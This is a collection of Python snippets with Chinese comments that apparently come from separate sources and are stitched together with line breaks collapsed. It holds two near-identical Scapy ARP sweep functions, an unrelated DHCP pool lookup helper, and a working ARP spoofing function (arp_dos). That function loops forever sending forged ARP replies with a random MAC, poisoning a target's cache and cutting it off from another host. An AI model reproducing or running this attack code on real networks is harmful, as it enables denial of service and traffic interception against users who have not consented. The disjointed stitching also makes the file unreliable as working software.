def arp_scan(network_prefix, ifname): #localip = get_ip_address(ifname) #获取本机IP地址 localip = get_ip_address_ifconfig(ifname)['ip_address'] #获取本地MAC地址 localmac = get_mac_address(ifname) #把网络前缀通过'.'分开,并且产生清单prefix prefix = network_prefix.split('.') #产生一个扫描设备的IP清单 ip_list = [] for i in range(254):#0到253 ipno = prefix[0] + '.' + prefix[1] + '.' + prefix[2] + '.' + str(i+1)#需要把i+1,这样就是1-254 ip_list.append(ipno) #把IP地址添加到扫描清单 #发送ARP请求包,并等待响应结果##################################################################################################地址为清单######################配置超时时间################ result_raw = srp(Ether(src=localmac, dst='FF:FF:FF:FF:FF:FF')/ARP(op=1, hwsrc=localmac, hwdst='00:00:00:00:00:00', psrc=localip, pdst=ip_list), iface = ifname, timeout = 1, verbose = False) #把响应的数据包对,产生为清单 result_list = result_raw[0].res #扫描得到的IP和MAC地址对的清单 IP_MAC_LIST = [] for n in range(len(result_list)):#len(result_list)表示响应数据包对的数量 IP = result_list[n][1][1].fields['psrc'] #提取响应包,ARP头部中的['psrc']字段,这是IP地址 MAC = result_list[n][1][1].fields['hwsrc'] #提取响应包,ARP头部中的['hwsrc']字段,这是MAC地址 IP_MAC = [IP, MAC] #把IP和MAC做成清单 IP_MAC_LIST.append(IP_MAC) #把IP和MAC做成的清单,添加到IP_MAC_LIST这个上一级清单里边 return IP_MAC_LIST #返回IP_MAC_LIST这个清单
def arp_dos(ip_1, ip_2, ifname): global localip,localmac,ip_1_mac,ip_2_mac,g_ip_1,g_ip_2,g_ifname #申明全局变量 g_ip_1 = ip_1 #为全局变量赋值,g_ip_1为被毒化ARP设备的IP地址 g_ip_2 = ip_2 #为全局变量赋值,g_ip_2为本机伪装设备的IP地址 g_ifname = ifname #为全局变量赋值,攻击使用的接口名字 #localip = get_ip_address(ifname) #获取本机IP地址,并且赋值到全局变量localip localip = get_ip_address_ifconfig(ifname)['ip_address'] #获取本机MAC地址,并且赋值到全局变量localmac localmac = GET_MAC(ifname) #获取ip_1的真实MAC地址 ip_1_mac = get_arp(ip_1,ifname) #获取ip_2的真实MAC地址 ip_2_mac = get_arp(ip_2,ifname) mac_random = Random_MAC() #引入信号处理机制,如果出现ctl+c(signal.SIGINT),使用sigint_handler这个方法进行处理 signal.signal(signal.SIGINT,sigint_handler) while True:#一直攻击,直到ctl+c出现!!! #op=2,响应ARP #print(mac_random) sendp(Ether(src=mac_random, dst=ip_1_mac)/ARP(op=2, hwsrc=mac_random, hwdst=ip_1_mac, psrc=g_ip_2, pdst=g_ip_1), iface = g_ifname, verbose = False) #op=1,请求ARP #sendp(Ether(src=localmac, dst=ip_1_mac)/ARP(op=1, hwsrc=localmac, hwdst=ip_1_mac, psrc=g_ip_2, pdst=g_ip_1), iface = g_ifname, verbose = False) #以太网头部的src MAC地址与ARP数据部分的hwsrc MAC不匹配攻击效果相同 #sendp(Ether(src=ip_1_mac, dst=ip_1_mac)/ARP(op=1, hwsrc=localmac, hwdst=ip_1_mac, psrc=g_ip_2, pdst=g_ip_1), iface = g_ifname, verbose = False) #如果采用dst为二层广播,会造成被伪装设备告警地址重叠,并且欺骗效果不稳定,容易抖动! print("发送ARP欺骗数据包!欺骗" + ip_1 + '随机MAC地址为' + ip_2 + '的MAC地址!!!') time.sleep(1)
def find_pool_config(GIADDR): local_ip = get_ip_address_ifconfig('eno33554944') print(GIADDR) if GIADDR == '0.0.0.0': ip_sections = re.match('(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})', local_ip['ip_address']).groups() for pool in pools: if int(ip_sections[0]) == pool['Network'][0] and int(ip_sections[1]) == pool['Network'][1] and int(ip_sections[2]) == pool['Network'][2]: print('thos') return pool else: ip_sections = re.match('(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})', GIADDR).groups() for pool in pools: if int(ip_sections[0]) == pool['Network'][0] and int(ip_sections[1]) == pool['Network'][1] and int(ip_sections[2]) == pool['Network'][2]: return pool
def arp_scan(network_prefix, ifname): #localip = get_ip_address(ifname) #获取本机IP地址 localip = get_ip_address_ifconfig(ifname)['ip_address'] #获取本地MAC地址 localmac = GET_MAC(ifname) #把网络前缀通过'.'分开,并且产生清单prefix prefix = network_prefix.split('.') #产生一个扫描设备的IP清单 ip_list = [] for i in range(254): #0到253 ipno = prefix[0] + '.' + prefix[1] + '.' + prefix[2] + '.' + str( i + 1) #需要把i+1,这样就是1-254 ip_list.append(ipno) #把IP地址添加到扫描清单 #发送ARP请求包,并等待响应结果##################################################################################################地址为清单######################配置超时时间################ result_raw = srp(Ether(src=localmac, dst='FF:FF:FF:FF:FF:FF') / ARP(op=1, hwsrc=localmac, hwdst='00:00:00:00:00:00', psrc=localip, pdst=ip_list), iface=ifname, timeout=1, verbose=False) #把响应的数据包对,产生为清单 result_list = result_raw[0].res #扫描得到的IP和MAC地址对的清单 IP_MAC_LIST = [] for n in range(len(result_list)): #len(result_list)表示响应数据包对的数量 IP = result_list[n][1][1].fields[ 'psrc'] #提取响应包,ARP头部中的['psrc']字段,这是IP地址 MAC = result_list[n][1][1].fields[ 'hwsrc'] #提取响应包,ARP头部中的['hwsrc']字段,这是MAC地址 IP_MAC = [IP, MAC] #把IP和MAC做成清单 IP_MAC_LIST.append(IP_MAC) #把IP和MAC做成的清单,添加到IP_MAC_LIST这个上一级清单里边 return IP_MAC_LIST #返回IP_MAC_LIST这个清单